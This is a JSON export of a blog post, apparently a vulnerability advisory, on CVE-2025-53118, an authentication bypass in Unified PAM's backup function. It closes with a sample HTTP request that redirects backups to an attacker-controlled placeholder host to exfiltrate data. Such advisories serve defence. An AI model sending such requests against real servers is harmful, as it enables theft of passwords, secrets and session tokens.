{"id":68740,"date":"2025-08-31T05:08:56","date_gmt":"2025-08-31T05:08:56","guid":{"rendered":""},"modified":"2025-10-08T02:33:29","modified_gmt":"2025-10-08T08:33:29","slug":"cve-2025-53118-critical-authentication-bypass-vulnerability-in-unified-pam","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53118-critical-authentication-bypass-vulnerability-in-unified-pam\/","title":{"rendered":"<strong>CVE-2025-53118: Critical Authentication Bypass Vulnerability in Unified PAM<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the world of cybersecurity, ensuring the integrity and safety of system data is paramount. Any vulnerability that poses a threat to these principles is a cause for concern. CVE-2025-53118 is one such <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-26009-authentication-bypass-vulnerability-in-fortinet-products\/\"  data-wpil-monitor-id=\"76577\">vulnerability that affects the Unified Pluggable Authentication<\/a> Modules (PAM), a suite of shared libraries that enables the local system administrator to choose how applications authenticate users.<br \/>\nThis vulnerability allows an unauthenticated attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-57155-a-critical-access-control-vulnerability-in-radar-v1-0-8\/\"  data-wpil-monitor-id=\"76279\">bypass authentication<\/a> procedures and control administrator backup functions. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42950-sap-landscape-transformation-vulnerability-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"77570\">potentially lead<\/a> to the compromise of passwords, secrets, and application session tokens stored by the Unified PAM. Given the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55444-severe-sql-injection-vulnerability-in-online-artwork-and-fine-arts-mca-project-1-0\/\"  data-wpil-monitor-id=\"76718\">severity of this vulnerability<\/a>, it is vital for system administrators and cybersecurity practitioners to understand the details and take immediate mitigation actions.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53118<br \/>\nSeverity: Critical (9.8 CVSS score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50160-heap-based-buffer-overflow-in-windows-rras-posing-system-compromise-risk\/\"  data-wpil-monitor-id=\"78513\">System compromise<\/a>, data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1640258758\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Unified PAM | All <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55010-arbitrary-php-object-instantiation-in-kanboard-prior-to-version-1-2-47\/\"  data-wpil-monitor-id=\"77899\">versions prior<\/a> to 1.3.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52913-critical-path-traversal-vulnerability-in-mitel-micollab-s-nupoint-unified-messaging-component\/\"  data-wpil-monitor-id=\"78848\">vulnerability lies in the backup functionality of the Unified<\/a> PAM. An unauthenticated <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-9408-server-side-request-forgery-attack-in-eclipse-glassfish\/\"  data-wpil-monitor-id=\"77266\">attacker can send specially crafted packets to the server<\/a> hosting the Unified PAM. These packets mimic the commands that an administrator would send for backup operations. If the server processes these packets, the attacker <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48860-exploiting-backup-archives-to-gain-remote-access-in-ctrlx-os\/\"  data-wpil-monitor-id=\"81435\">gains control over the backup<\/a> functions.<br \/>\nThis control allows the attacker to view, modify, or delete any data that the backup function has access to. This includes <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55443-android-telpo-mdm-exposes-sensitive-data-in-plaintext\/\"  data-wpil-monitor-id=\"89321\">sensitive data<\/a> like passwords, secrets, and application session tokens. The attacker could use this data for further malicious actions, such as <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47991-critical-privilege-escalation-vulnerability-in-microsoft-ime\/\"  data-wpil-monitor-id=\"76295\">escalating their privileges<\/a> on the system or launching attacks against other systems.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2364266616\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that an attacker might send:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/admin\/backup\/start HTTP\/1.1\nHost: vulnerable-server.example.com\nContent-Type: application\/json\n{ &quot;command&quot;: &quot;start&quot;, &quot;destination&quot;: &quot;attacker-controlled-server.example.com&quot; }<\/code><\/pre>\n<p>In this example, the attacker sends a command to start a backup operation and sends the backup <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49759-sql-injection-vulnerability-in-sql-server-potentially-enabling-privilege-escalation-and-data-leakage\/\"  data-wpil-monitor-id=\"79190\">data to a server<\/a> controlled by them.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the world of cybersecurity, ensuring the integrity and safety of system data is paramount. Any vulnerability that poses a threat to these principles is a cause for concern. CVE-2025-53118 is one such vulnerability that affects the Unified Pluggable Authentication Modules (PAM), a suite of shared libraries that enables the local system administrator to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[75],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-68740","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-authentication-bypass"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/68740","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=68740"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/68740\/revisions"}],"predecessor-version":[{"id":82157,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/68740\/revisions\/82157"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=68740"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=68740"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=68740"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=68740"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=68740"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=68740"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=68740"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=68740"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=68740"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}